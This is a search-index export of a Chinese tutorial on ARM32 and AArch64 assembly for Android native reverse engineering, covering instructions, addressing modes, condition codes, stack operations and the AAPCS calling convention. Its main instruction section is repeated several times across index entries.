R1 \u003e\u003e 3 (逻辑右移，高位补0) ASR R0, R1, #3 ; R0 = R1 \u003e\u003e 3 (算术右移，高位补符号位) ADDS vs ADD ARM 指令的一个重要特点：大多数数据处理指令默认不更新条件标志。只有在指令末尾加上 S 后缀（如 ADDS、SUBS），才会更新 CPSR/NZCV。而 CMP 和 TST 是特殊的——它们总是更新标志。在 AArch64 中这个规则同样适用。 加载/存储指令 这是 ARM 的核心。所有内存访问都必须通过 LDR/STR 指令完成。 ; === 基本加载/存储 === LDR R0, [R1] ; R0 = *R1 (从 R1 指向的地址加载 4 字节) STR R0, [R1] ; *R1 = R0 (将 R0 存储到 R1 指向的地址) ; === 不同大小的访问 === LDRB R0, [R1] ; 加载 1 字节 (零扩展到 32 位) LDRH R0, [R1] ; 加载 2 字节 (半字, 零扩展) LDRSB R0, [R1] ; 加载 1 字节 (符号扩展到 32 位) STRB R0, [R1] ; 存储 R0 的最低 1 字节 ; === 偏移寻址 === LDR R0, [R1, #4] ; R0 = *(R1 + 4) (立即数偏移) LDR R0, [R1, R2] ; R0 = *(R1 + R2) (寄存器偏移) LDR R0, [R1, R2, LSL #2] ; R0 = *(R1 + R2*4) (带移位的寄存器偏移，常见于数组访问) ; === 前索引 (Pre-indexed) / 后索引 (Post-indexed) === LDR R0, [R1, #4]! ; R1 += 4; R0 = *R1 (先更新，再加载) LDR R0, [R1], #4 ; R0 = *R1; R1 += 4 (先加载，再更新) ; === AArch64 特有 === LDP X0, X1, [SP] ; 一次加载两个 64 位寄存器 (Load Pair) STP X0, X1, [SP, #-16]! ; 一次存储两个寄存器，带前索引 (Store Pair) LDUR X0, [X1, #-8] ; 非对齐偏移加载 (Unscaled) ADR X0, label ; 将 PC 相对地址加载到 X0 ADRP X0, page_label ; 将 PC 相对页地址加载到 X0 (4KB 页粒度) LDR 的 PC 相对寻址 在反汇编中你会经常看到 LDR R0, =0x12345678 这种伪指令。汇编器实际上会将常量放在一个\"文字池 (literal pool)“中，然后转换为 LDR R0, [PC, #offset]。在 IDA 中你可以看到这种转换后的形式。 分支指令 ; === 无条件分支 === B label ; 跳转到 label BL label ; 跳转到 label，同时 LR = 下一条指令地址 (函数调用) BR X8 ; 跳转到 X8 中的地址 (AArch64，寄存器间接跳转) BLR X8 ; 调用 X8 中的地址 (AArch64，间接函数调用) RET ; 返回，等效于 BR X30 (AArch64) BX LR ; 返回 (ARM32，同时可切换 ARM/Thumb 模式) ; === 条件分支 (ARM32) === CMP R0, #10 ; 比较 R0 和 10 BEQ label ; Branch if Equal (Z=1) BNE label ; Branch if Not Equal (Z=0) BGT label ; Branch if Greater Than (有符号) BLT label ; Branch if Less Than (有符号) BHI label ; Branch if Higher (无符号大于) BLO label ; Branch if Lower (无符号小于) ; === AArch64 条件分支 (使用点号语法) === CMP X0, X1 B.EQ label ; 相等 B.NE label ; 不等 ; === AArch64 特有的比较并分支 === CBZ X0, label ; X0 == 0 则跳转 CBNZ X0, label ; X0 != 0 则跳转 TBZ X0, #5, label ; X0 的第 5 位为 0 则跳转 TBNZ X0, #5, label ; X0 的第 5 位不为 0 则跳转 常用条件码速查 后缀 含义 标志条件 EQ Equal (相等) Z=1 NE Not Equal (不等) Z=0 GT Greater Than (有符号大于) Z=0, N=V LT Less Than (有符号小于) N!=V GE Greater or Equal N=V LE Less or Equal Z=1 或 N!=V HI Higher (无符号大于) C=1, Z=0 LO Lower (无符号小于) C=0 栈操作指令 ; === ARM32 栈操作 === PUSH {R4, R5, LR} ; 将 R4, R5, LR 压入栈 (SP 向低地址增长) POP {R4, R5, PC} ; 从栈弹出到 R4, R5, PC (将 LR 弹到 PC 实现返回) ; 等效展开： ; PUSH {R4, LR} 等同于: ; STR LR, [SP, #-4]! ; STR R4, [SP, #-4]! ; === AArch64 栈操作 === ; AArch64 没有 PUSH/POP，使用 STP/LDP STP X29, X30, [SP, #-16]! ; 保存 FP 和 LR，SP -= 16 MOV X29, SP ; 设置新的帧指针 ; ... 函数体 ... LDP X29, X30, [SP], #16 ; 恢复 FP 和 LR，SP += 16 RET ; 返回 ; 分配局部变量空间 SUB SP, SP, #48 ; 分配 48 字节的栈空间 (必须是 16 的倍数) ; ... 使用 [SP, #0], [SP, #8] 等访问局部变量 ... ADD SP, SP, #48 ; 释放栈空间 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:3","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#指令集详解"},{"categories":null,"collections":null,"content":"指令集详解 数据处理指令 ; === 移动指令 === MOV R1, R2 ; R1 = R2 MOV X1, X2 ; X1 = X2 (AArch64) MOV R0, #0xFF ; R0 = 255 (立即数) MVN R0, R1 ; R0 = ~R1 (按位取反) MOVZ X0, #0x1234 ; X0 = 0x1234 (将16位立即数放入寄存器，其余位清零) MOVK X0, #0x5678, LSL #16 ; 将 0x5678 放到 X0 的 [31:16] 位，保持其他位不变 ; === 算术指令 === ADD R0, R1, R2 ; R0 = R1 + R2 ADDS R0, R1, R2 ; R0 = R1 + R2，并更新 CPSR 标志位 (注意末尾的 S) SUB R0, R1, R2 ; R0 = R1 - R2 RSB R0, R1, #0 ; R0 = 0 - R1 (反向减法，常用于取负数) MUL R0, R1, R2 ; R0 = R1 * R2 SDIV X0, X1, X2 ; X0 = X1 / X2 (有符号除法，AArch64) ; === 逻辑指令 === AND R0, R1, #0xFF ; R0 = R1 \u0026 0xFF (按位与) ORR R0, R1, R2 ; R0 = R1 | R2 (按位或) EOR R0, R1, R2 ; R0 = R1 ^ R2 (按位异或) BIC R0, R1, R2 ; R0 = R1 \u0026 ~R2 (位清除) TST R0, #0x1 ; 测试 R0 的最低位 (AND 但不存储结果，只更新标志) ; === 移位指令 === LSL R0, R1, #3 ; R0 = R1 \u003c\u003c 3 (逻辑左移) LSR R0, R1, #3 ; R0 = R1 \u003e\u003e 3 (逻辑右移，高位补0) ASR R0, R1, #3 ; R0 = R1 \u003e\u003e 3 (算术右移，高位补符号位) ADDS vs ADD ARM 指令的一个重要特点：大多数数据处理指令默认不更新条件标志。只有在指令末尾加上 S 后缀（如 ADDS、SUBS），才会更新 CPSR/NZCV。而 CMP 和 TST 是特殊的——它们总是更新标志。在 AArch64 中这个规则同样适用。 加载/存储指令 这是 ARM 的核心。所有内存访问都必须通过 LDR/STR 指令完成。 ; === 基本加载/存储 === LDR R0, [R1] ; R0 = *R1 (从 R1 指向的地址加载 4 字节) STR R0, [R1] ; *R1 = R0 (将 R0 存储到 R1 指向的地址) ; === 不同大小的访问 === LDRB R0, [R1] ; 加载 1 字节 (零扩展到 32 位) LDRH R0, [R1] ; 加载 2 字节 (半字, 零扩展) LDRSB R0, [R1] ; 加载 1 字节 (符号扩展到 32 位) STRB R0, [R1] ; 存储 R0 的最低 1 字节 ; === 偏移寻址 === LDR R0, [R1, #4] ; R0 = *(R1 + 4) (立即数偏移) LDR R0, [R1, R2] ; R0 = *(R1 + R2) (寄存器偏移) LDR R0, [R1, R2, LSL #2] ; R0 = *(R1 + R2*4) (带移位的寄存器偏移，常见于数组访问) ; === 前索引 (Pre-indexed) / 后索引 (Post-indexed) === LDR R0, [R1, #4]! ; R1 += 4; R0 = *R1 (先更新，再加载) LDR R0, [R1], #4 ; R0 = *R1; R1 += 4 (先加载，再更新) ; === AArch64 特有 === LDP X0, X1, [SP] ; 一次加载两个 64 位寄存器 (Load Pair) STP X0, X1, [SP, #-16]! ; 一次存储两个寄存器，带前索引 (Store Pair) LDUR X0, [X1, #-8] ; 非对齐偏移加载 (Unscaled) ADR X0, label ; 将 PC 相对地址加载到 X0 ADRP X0, page_label ; 将 PC 相对页地址加载到 X0 (4KB 页粒度) LDR 的 PC 相对寻址 在反汇编中你会经常看到 LDR R0, =0x12345678 这种伪指令。汇编器实际上会将常量放在一个\"文字池 (literal pool)“中，然后转换为 LDR R0, [PC, #offset]。在 IDA 中你可以看到这种转换后的形式。 分支指令 ; === 无条件分支 === B label ; 跳转到 label BL label ; 跳转到 label，同时 LR = 下一条指令地址 (函数调用) BR X8 ; 跳转到 X8 中的地址 (AArch64，寄存器间接跳转) BLR X8 ; 调用 X8 中的地址 (AArch64，间接函数调用) RET ; 返回，等效于 BR X30 (AArch64) BX LR ; 返回 (ARM32，同时可切换 ARM/Thumb 模式) ; === 条件分支 (ARM32) === CMP R0, #10 ; 比较 R0 和 10 BEQ label ; Branch if Equal (Z=1) BNE label ; Branch if Not Equal (Z=0) BGT label ; Branch if Greater Than (有符号) BLT label ; Branch if Less Than (有符号) BHI label ; Branch if Higher (无符号大于) BLO label ; Branch if Lower (无符号小于) ; === AArch64 条件分支 (使用点号语法) === CMP X0, X1 B.EQ label ; 相等 B.NE label ; 不等 ; === AArch64 特有的比较并分支 === CBZ X0, label ; X0 == 0 则跳转 CBNZ X0, label ; X0 != 0 则跳转 TBZ X0, #5, label ; X0 的第 5 位为 0 则跳转 TBNZ X0, #5, label ; X0 的第 5 位不为 0 则跳转 常用条件码速查 后缀 含义 标志条件 EQ Equal (相等) Z=1 NE Not Equal (不等) Z=0 GT Greater Than (有符号大于) Z=0, N=V LT Less Than (有符号小于) N!=V GE Greater or Equal N=V LE Less or Equal Z=1 或 N!=V HI Higher (无符号大于) C=1, Z=0 LO Lower (无符号小于) C=0 栈操作指令 ; === ARM32 栈操作 === PUSH {R4, R5, LR} ; 将 R4, R5, LR 压入栈 (SP 向低地址增长) POP {R4, R5, PC} ; 从栈弹出到 R4, R5, PC (将 LR 弹到 PC 实现返回) ; 等效展开： ; PUSH {R4, LR} 等同于: ; STR LR, [SP, #-4]! ; STR R4, [SP, #-4]! ; === AArch64 栈操作 === ; AArch64 没有 PUSH/POP，使用 STP/LDP STP X29, X30, [SP, #-16]! ; 保存 FP 和 LR，SP -= 16 MOV X29, SP ; 设置新的帧指针 ; ... 函数体 ... LDP X29, X30, [SP], #16 ; 恢复 FP 和 LR，SP += 16 RET ; 返回 ; 分配局部变量空间 SUB SP, SP, #48 ; 分配 48 字节的栈空间 (必须是 16 的倍数) ; ... 使用 [SP, #0], [SP, #8] 等访问局部变量 ... ADD SP, SP, #48 ; 释放栈空间 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:3","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#数据处理指令"},{"categories":null,"collections":null,"content":"指令集详解 数据处理指令 ; === 移动指令 === MOV R1, R2 ; R1 = R2 MOV X1, X2 ; X1 = X2 (AArch64) MOV R0, #0xFF ; R0 = 255 (立即数) MVN R0, R1 ; R0 = ~R1 (按位取反) MOVZ X0, #0x1234 ; X0 = 0x1234 (将16位立即数放入寄存器，其余位清零) MOVK X0, #0x5678, LSL #16 ; 将 0x5678 放到 X0 的 [31:16] 位，保持其他位不变 ; === 算术指令 === ADD R0, R1, R2 ; R0 = R1 + R2 ADDS R0, R1, R2 ; R0 = R1 + R2，并更新 CPSR 标志位 (注意末尾的 S) SUB R0, R1, R2 ; R0 = R1 - R2 RSB R0, R1, #0 ; R0 = 0 - R1 (反向减法，常用于取负数) MUL R0, R1, R2 ; R0 = R1 * R2 SDIV X0, X1, X2 ; X0 = X1 / X2 (有符号除法，AArch64) ; === 逻辑指令 === AND R0, R1, #0xFF ; R0 = R1 \u0026 0xFF (按位与) ORR R0, R1, R2 ; R0 = R1 | R2 (按位或) EOR R0, R1, R2 ; R0 = R1 ^ R2 (按位异或) BIC R0, R1, R2 ; R0 = R1 \u0026 ~R2 (位清除) TST R0, #0x1 ; 测试 R0 的最低位 (AND 但不存储结果，只更新标志) ; === 移位指令 === LSL R0, R1, #3 ; R0 = R1 \u003c\u003c 3 (逻辑左移) LSR R0, R1, #3 ; R0 = R1 \u003e\u003e 3 (逻辑右移，高位补0) ASR R0, R1, #3 ; R0 = R1 \u003e\u003e 3 (算术右移，高位补符号位) ADDS vs ADD ARM 指令的一个重要特点：大多数数据处理指令默认不更新条件标志。只有在指令末尾加上 S 后缀（如 ADDS、SUBS），才会更新 CPSR/NZCV。而 CMP 和 TST 是特殊的——它们总是更新标志。在 AArch64 中这个规则同样适用。 加载/存储指令 这是 ARM 的核心。所有内存访问都必须通过 LDR/STR 指令完成。 ; === 基本加载/存储 === LDR R0, [R1] ; R0 = *R1 (从 R1 指向的地址加载 4 字节) STR R0, [R1] ; *R1 = R0 (将 R0 存储到 R1 指向的地址) ; === 不同大小的访问 === LDRB R0, [R1] ; 加载 1 字节 (零扩展到 32 位) LDRH R0, [R1] ; 加载 2 字节 (半字, 零扩展) LDRSB R0, [R1] ; 加载 1 字节 (符号扩展到 32 位) STRB R0, [R1] ; 存储 R0 的最低 1 字节 ; === 偏移寻址 === LDR R0, [R1, #4] ; R0 = *(R1 + 4) (立即数偏移) LDR R0, [R1, R2] ; R0 = *(R1 + R2) (寄存器偏移) LDR R0, [R1, R2, LSL #2] ; R0 = *(R1 + R2*4) (带移位的寄存器偏移，常见于数组访问) ; === 前索引 (Pre-indexed) / 后索引 (Post-indexed) === LDR R0, [R1, #4]! ; R1 += 4; R0 = *R1 (先更新，再加载) LDR R0, [R1], #4 ; R0 = *R1; R1 += 4 (先加载，再更新) ; === AArch64 特有 === LDP X0, X1, [SP] ; 一次加载两个 64 位寄存器 (Load Pair) STP X0, X1, [SP, #-16]! ; 一次存储两个寄存器，带前索引 (Store Pair) LDUR X0, [X1, #-8] ; 非对齐偏移加载 (Unscaled) ADR X0, label ; 将 PC 相对地址加载到 X0 ADRP X0, page_label ; 将 PC 相对页地址加载到 X0 (4KB 页粒度) LDR 的 PC 相对寻址 在反汇编中你会经常看到 LDR R0, =0x12345678 这种伪指令。汇编器实际上会将常量放在一个\"文字池 (literal pool)“中，然后转换为 LDR R0, [PC, #offset]。在 IDA 中你可以看到这种转换后的形式。 分支指令 ; === 无条件分支 === B label ; 跳转到 label BL label ; 跳转到 label，同时 LR = 下一条指令地址 (函数调用) BR X8 ; 跳转到 X8 中的地址 (AArch64，寄存器间接跳转) BLR X8 ; 调用 X8 中的地址 (AArch64，间接函数调用) RET ; 返回，等效于 BR X30 (AArch64) BX LR ; 返回 (ARM32，同时可切换 ARM/Thumb 模式) ; === 条件分支 (ARM32) === CMP R0, #10 ; 比较 R0 和 10 BEQ label ; Branch if Equal (Z=1) BNE label ; Branch if Not Equal (Z=0) BGT label ; Branch if Greater Than (有符号) BLT label ; Branch if Less Than (有符号) BHI label ; Branch if Higher (无符号大于) BLO label ; Branch if Lower (无符号小于) ; === AArch64 条件分支 (使用点号语法) === CMP X0, X1 B.EQ label ; 相等 B.NE label ; 不等 ; === AArch64 特有的比较并分支 === CBZ X0, label ; X0 == 0 则跳转 CBNZ X0, label ; X0 != 0 则跳转 TBZ X0, #5, label ; X0 的第 5 位为 0 则跳转 TBNZ X0, #5, label ; X0 的第 5 位不为 0 则跳转 常用条件码速查 后缀 含义 标志条件 EQ Equal (相等) Z=1 NE Not Equal (不等) Z=0 GT Greater Than (有符号大于) Z=0, N=V LT Less Than (有符号小于) N!=V GE Greater or Equal N=V LE Less or Equal Z=1 或 N!=V HI Higher (无符号大于) C=1, Z=0 LO Lower (无符号小于) C=0 栈操作指令 ; === ARM32 栈操作 === PUSH {R4, R5, LR} ; 将 R4, R5, LR 压入栈 (SP 向低地址增长) POP {R4, R5, PC} ; 从栈弹出到 R4, R5, PC (将 LR 弹到 PC 实现返回) ; 等效展开： ; PUSH {R4, LR} 等同于: ; STR LR, [SP, #-4]! ; STR R4, [SP, #-4]! ; === AArch64 栈操作 === ; AArch64 没有 PUSH/POP，使用 STP/LDP STP X29, X30, [SP, #-16]! ; 保存 FP 和 LR，SP -= 16 MOV X29, SP ; 设置新的帧指针 ; ... 函数体 ... LDP X29, X30, [SP], #16 ; 恢复 FP 和 LR，SP += 16 RET ; 返回 ; 分配局部变量空间 SUB SP, SP, #48 ; 分配 48 字节的栈空间 (必须是 16 的倍数) ; ... 使用 [SP, #0], [SP, #8] 等访问局部变量 ... ADD SP, SP, #48 ; 释放栈空间 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:3","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#加载存储指令"},{"categories":null,"collections":null,"content":"指令集详解 数据处理指令 ; === 移动指令 === MOV R1, R2 ; R1 = R2 MOV X1, X2 ; X1 = X2 (AArch64) MOV R0, #0xFF ; R0 = 255 (立即数) MVN R0, R1 ; R0 = ~R1 (按位取反) MOVZ X0, #0x1234 ; X0 = 0x1234 (将16位立即数放入寄存器，其余位清零) MOVK X0, #0x5678, LSL #16 ; 将 0x5678 放到 X0 的 [31:16] 位，保持其他位不变 ; === 算术指令 === ADD R0, R1, R2 ; R0 = R1 + R2 ADDS R0, R1, R2 ; R0 = R1 + R2，并更新 CPSR 标志位 (注意末尾的 S) SUB R0, R1, R2 ; R0 = R1 - R2 RSB R0, R1, #0 ; R0 = 0 - R1 (反向减法，常用于取负数) MUL R0, R1, R2 ; R0 = R1 * R2 SDIV X0, X1, X2 ; X0 = X1 / X2 (有符号除法，AArch64) ; === 逻辑指令 === AND R0, R1, #0xFF ; R0 = R1 \u0026 0xFF (按位与) ORR R0, R1, R2 ; R0 = R1 | R2 (按位或) EOR R0, R1, R2 ; R0 = R1 ^ R2 (按位异或) BIC R0, R1, R2 ; R0 = R1 \u0026 ~R2 (位清除) TST R0, #0x1 ; 测试 R0 的最低位 (AND 但不存储结果，只更新标志) ; === 移位指令 === LSL R0, R1, #3 ; R0 = R1 \u003c\u003c 3 (逻辑左移) LSR R0, R1, #3 ; R0 = R1 \u003e\u003e 3 (逻辑右移，高位补0) ASR R0, R1, #3 ; R0 = R1 \u003e\u003e 3 (算术右移，高位补符号位) ADDS vs ADD ARM 指令的一个重要特点：大多数数据处理指令默认不更新条件标志。只有在指令末尾加上 S 后缀（如 ADDS、SUBS），才会更新 CPSR/NZCV。而 CMP 和 TST 是特殊的——它们总是更新标志。在 AArch64 中这个规则同样适用。 加载/存储指令 这是 ARM 的核心。所有内存访问都必须通过 LDR/STR 指令完成。 ; === 基本加载/存储 === LDR R0, [R1] ; R0 = *R1 (从 R1 指向的地址加载 4 字节) STR R0, [R1] ; *R1 = R0 (将 R0 存储到 R1 指向的地址) ; === 不同大小的访问 === LDRB R0, [R1] ; 加载 1 字节 (零扩展到 32 位) LDRH R0, [R1] ; 加载 2 字节 (半字, 零扩展) LDRSB R0, [R1] ; 加载 1 字节 (符号扩展到 32 位) STRB R0, [R1] ; 存储 R0 的最低 1 字节 ; === 偏移寻址 === LDR R0, [R1, #4] ; R0 = *(R1 + 4) (立即数偏移) LDR R0, [R1, R2] ; R0 = *(R1 + R2) (寄存器偏移) LDR R0, [R1, R2, LSL #2] ; R0 = *(R1 + R2*4) (带移位的寄存器偏移，常见于数组访问) ; === 前索引 (Pre-indexed) / 后索引 (Post-indexed) === LDR R0, [R1, #4]! ; R1 += 4; R0 = *R1 (先更新，再加载) LDR R0, [R1], #4 ; R0 = *R1; R1 += 4 (先加载，再更新) ; === AArch64 特有 === LDP X0, X1, [SP] ; 一次加载两个 64 位寄存器 (Load Pair) STP X0, X1, [SP, #-16]! ; 一次存储两个寄存器，带前索引 (Store Pair) LDUR X0, [X1, #-8] ; 非对齐偏移加载 (Unscaled) ADR X0, label ; 将 PC 相对地址加载到 X0 ADRP X0, page_label ; 将 PC 相对页地址加载到 X0 (4KB 页粒度) LDR 的 PC 相对寻址 在反汇编中你会经常看到 LDR R0, =0x12345678 这种伪指令。汇编器实际上会将常量放在一个\"文字池 (literal pool)“中，然后转换为 LDR R0, [PC, #offset]。在 IDA 中你可以看到这种转换后的形式。 分支指令 ; === 无条件分支 === B label ; 跳转到 label BL label ; 跳转到 label，同时 LR = 下一条指令地址 (函数调用) BR X8 ; 跳转到 X8 中的地址 (AArch64，寄存器间接跳转) BLR X8 ; 调用 X8 中的地址 (AArch64，间接函数调用) RET ; 返回，等效于 BR X30 (AArch64) BX LR ; 返回 (ARM32，同时可切换 ARM/Thumb 模式) ; === 条件分支 (ARM32) === CMP R0, #10 ; 比较 R0 和 10 BEQ label ; Branch if Equal (Z=1) BNE label ; Branch if Not Equal (Z=0) BGT label ; Branch if Greater Than (有符号) BLT label ; Branch if Less Than (有符号) BHI label ; Branch if Higher (无符号大于) BLO label ; Branch if Lower (无符号小于) ; === AArch64 条件分支 (使用点号语法) === CMP X0, X1 B.EQ label ; 相等 B.NE label ; 不等 ; === AArch64 特有的比较并分支 === CBZ X0, label ; X0 == 0 则跳转 CBNZ X0, label ; X0 != 0 则跳转 TBZ X0, #5, label ; X0 的第 5 位为 0 则跳转 TBNZ X0, #5, label ; X0 的第 5 位不为 0 则跳转 常用条件码速查 后缀 含义 标志条件 EQ Equal (相等) Z=1 NE Not Equal (不等) Z=0 GT Greater Than (有符号大于) Z=0, N=V LT Less Than (有符号小于) N!=V GE Greater or Equal N=V LE Less or Equal Z=1 或 N!=V HI Higher (无符号大于) C=1, Z=0 LO Lower (无符号小于) C=0 栈操作指令 ; === ARM32 栈操作 === PUSH {R4, R5, LR} ; 将 R4, R5, LR 压入栈 (SP 向低地址增长) POP {R4, R5, PC} ; 从栈弹出到 R4, R5, PC (将 LR 弹到 PC 实现返回) ; 等效展开： ; PUSH {R4, LR} 等同于: ; STR LR, [SP, #-4]! ; STR R4, [SP, #-4]! ; === AArch64 栈操作 === ; AArch64 没有 PUSH/POP，使用 STP/LDP STP X29, X30, [SP, #-16]! ; 保存 FP 和 LR，SP -= 16 MOV X29, SP ; 设置新的帧指针 ; ... 函数体 ... LDP X29, X30, [SP], #16 ; 恢复 FP 和 LR，SP += 16 RET ; 返回 ; 分配局部变量空间 SUB SP, SP, #48 ; 分配 48 字节的栈空间 (必须是 16 的倍数) ; ... 使用 [SP, #0], [SP, #8] 等访问局部变量 ... ADD SP, SP, #48 ; 释放栈空间 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:3","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#分支指令"},{"categories":null,"collections":null,"content":"指令集详解 数据处理指令 ; === 移动指令 === MOV R1, R2 ; R1 = R2 MOV X1, X2 ; X1 = X2 (AArch64) MOV R0, #0xFF ; R0 = 255 (立即数) MVN R0, R1 ; R0 = ~R1 (按位取反) MOVZ X0, #0x1234 ; X0 = 0x1234 (将16位立即数放入寄存器，其余位清零) MOVK X0, #0x5678, LSL #16 ; 将 0x5678 放到 X0 的 [31:16] 位，保持其他位不变 ; === 算术指令 === ADD R0, R1, R2 ; R0 = R1 + R2 ADDS R0, R1, R2 ; R0 = R1 + R2，并更新 CPSR 标志位 (注意末尾的 S) SUB R0, R1, R2 ; R0 = R1 - R2 RSB R0, R1, #0 ; R0 = 0 - R1 (反向减法，常用于取负数) MUL R0, R1, R2 ; R0 = R1 * R2 SDIV X0, X1, X2 ; X0 = X1 / X2 (有符号除法，AArch64) ; === 逻辑指令 === AND R0, R1, #0xFF ; R0 = R1 \u0026 0xFF (按位与) ORR R0, R1, R2 ; R0 = R1 | R2 (按位或) EOR R0, R1, R2 ; R0 = R1 ^ R2 (按位异或) BIC R0, R1, R2 ; R0 = R1 \u0026 ~R2 (位清除) TST R0, #0x1 ; 测试 R0 的最低位 (AND 但不存储结果，只更新标志) ; === 移位指令 === LSL R0, R1, #3 ; R0 = R1 \u003c\u003c 3 (逻辑左移) LSR R0, R1, #3 ; R0 = R1 \u003e\u003e 3 (逻辑右移，高位补0) ASR R0, R1, #3 ; R0 = R1 \u003e\u003e 3 (算术右移，高位补符号位) ADDS vs ADD ARM 指令的一个重要特点：大多数数据处理指令默认不更新条件标志。只有在指令末尾加上 S 后缀（如 ADDS、SUBS），才会更新 CPSR/NZCV。而 CMP 和 TST 是特殊的——它们总是更新标志。在 AArch64 中这个规则同样适用。 加载/存储指令 这是 ARM 的核心。所有内存访问都必须通过 LDR/STR 指令完成。 ; === 基本加载/存储 === LDR R0, [R1] ; R0 = *R1 (从 R1 指向的地址加载 4 字节) STR R0, [R1] ; *R1 = R0 (将 R0 存储到 R1 指向的地址) ; === 不同大小的访问 === LDRB R0, [R1] ; 加载 1 字节 (零扩展到 32 位) LDRH R0, [R1] ; 加载 2 字节 (半字, 零扩展) LDRSB R0, [R1] ; 加载 1 字节 (符号扩展到 32 位) STRB R0, [R1] ; 存储 R0 的最低 1 字节 ; === 偏移寻址 === LDR R0, [R1, #4] ; R0 = *(R1 + 4) (立即数偏移) LDR R0, [R1, R2] ; R0 = *(R1 + R2) (寄存器偏移) LDR R0, [R1, R2, LSL #2] ; R0 = *(R1 + R2*4) (带移位的寄存器偏移，常见于数组访问) ; === 前索引 (Pre-indexed) / 后索引 (Post-indexed) === LDR R0, [R1, #4]! ; R1 += 4; R0 = *R1 (先更新，再加载) LDR R0, [R1], #4 ; R0 = *R1; R1 += 4 (先加载，再更新) ; === AArch64 特有 === LDP X0, X1, [SP] ; 一次加载两个 64 位寄存器 (Load Pair) STP X0, X1, [SP, #-16]! ; 一次存储两个寄存器，带前索引 (Store Pair) LDUR X0, [X1, #-8] ; 非对齐偏移加载 (Unscaled) ADR X0, label ; 将 PC 相对地址加载到 X0 ADRP X0, page_label ; 将 PC 相对页地址加载到 X0 (4KB 页粒度) LDR 的 PC 相对寻址 在反汇编中你会经常看到 LDR R0, =0x12345678 这种伪指令。汇编器实际上会将常量放在一个\"文字池 (literal pool)“中，然后转换为 LDR R0, [PC, #offset]。在 IDA 中你可以看到这种转换后的形式。 分支指令 ; === 无条件分支 === B label ; 跳转到 label BL label ; 跳转到 label，同时 LR = 下一条指令地址 (函数调用) BR X8 ; 跳转到 X8 中的地址 (AArch64，寄存器间接跳转) BLR X8 ; 调用 X8 中的地址 (AArch64，间接函数调用) RET ; 返回，等效于 BR X30 (AArch64) BX LR ; 返回 (ARM32，同时可切换 ARM/Thumb 模式) ; === 条件分支 (ARM32) === CMP R0, #10 ; 比较 R0 和 10 BEQ label ; Branch if Equal (Z=1) BNE label ; Branch if Not Equal (Z=0) BGT label ; Branch if Greater Than (有符号) BLT label ; Branch if Less Than (有符号) BHI label ; Branch if Higher (无符号大于) BLO label ; Branch if Lower (无符号小于) ; === AArch64 条件分支 (使用点号语法) === CMP X0, X1 B.EQ label ; 相等 B.NE label ; 不等 ; === AArch64 特有的比较并分支 === CBZ X0, label ; X0 == 0 则跳转 CBNZ X0, label ; X0 != 0 则跳转 TBZ X0, #5, label ; X0 的第 5 位为 0 则跳转 TBNZ X0, #5, label ; X0 的第 5 位不为 0 则跳转 常用条件码速查 后缀 含义 标志条件 EQ Equal (相等) Z=1 NE Not Equal (不等) Z=0 GT Greater Than (有符号大于) Z=0, N=V LT Less Than (有符号小于) N!=V GE Greater or Equal N=V LE Less or Equal Z=1 或 N!=V HI Higher (无符号大于) C=1, Z=0 LO Lower (无符号小于) C=0 栈操作指令 ; === ARM32 栈操作 === PUSH {R4, R5, LR} ; 将 R4, R5, LR 压入栈 (SP 向低地址增长) POP {R4, R5, PC} ; 从栈弹出到 R4, R5, PC (将 LR 弹到 PC 实现返回) ; 等效展开： ; PUSH {R4, LR} 等同于: ; STR LR, [SP, #-4]! ; STR R4, [SP, #-4]! ; === AArch64 栈操作 === ; AArch64 没有 PUSH/POP，使用 STP/LDP STP X29, X30, [SP, #-16]! ; 保存 FP 和 LR，SP -= 16 MOV X29, SP ; 设置新的帧指针 ; ... 函数体 ... LDP X29, X30, [SP], #16 ; 恢复 FP 和 LR，SP += 16 RET ; 返回 ; 分配局部变量空间 SUB SP, SP, #48 ; 分配 48 字节的栈空间 (必须是 16 的倍数) ; ... 使用 [SP, #0], [SP, #8] 等访问局部变量 ... ADD SP, SP, #48 ; 释放栈空间 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:3","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#栈操作指令"},{"categories":null,"collections":null,"content":"函数调用约定 (AAPCS) AAPCS (ARM Architecture Procedure Call Standard) 定义了函数之间如何交互。逆向工程师必须理解这些约定才能正确分析函数的输入输出。 参数传递规则 ARM32 (AAPCS) 参数位置 寄存器 说明 第 1 个参数 R0 也用作返回值 第 2 个参数 R1 64 位参数可用 R0:R1 或 R2:R3 第 3 个参数 R2 第 4 个参数 R3 第 5+ 个参数 栈 按顺序压栈，第 5 个在 [SP]，第 6 个在 [SP, #4] AArch64 (AAPCS64) 参数位置 寄存器 说明 第 1 个参数 X0 也用作返回值 第 2 个参数 X1 第 3-8 个参数 X2-X7 第 9+ 个参数 栈 浮点参数 D0-D7 使用 SIMD/浮点寄存器 返回值 ; ARM32: 返回值在 R0 (32位) 或 R0:R1 (64位) ; 例: 返回 int MOV R0, #42 BX LR ; AArch64: 返回值在 X0 (64位) ; 例: 返回 int MOV X0, #42 RET 调用者保存 vs 被调用者保存 理解这个概念对识别函数边界非常重要： 类别 ARM32 寄存器 AArch64 寄存器 说明 调用者保存 (Caller-saved) R0-R3, R12 X0-X18 函数调用后可能被修改，调用者如需保留值必须自行保存 被调用者保存 (Callee-saved) R4-R11 X19-X28 被调用函数如果要使用，必须先保存、用完后恢复 特殊用途 SP, LR, PC SP, X29(FP), X30(LR) 有特定约定 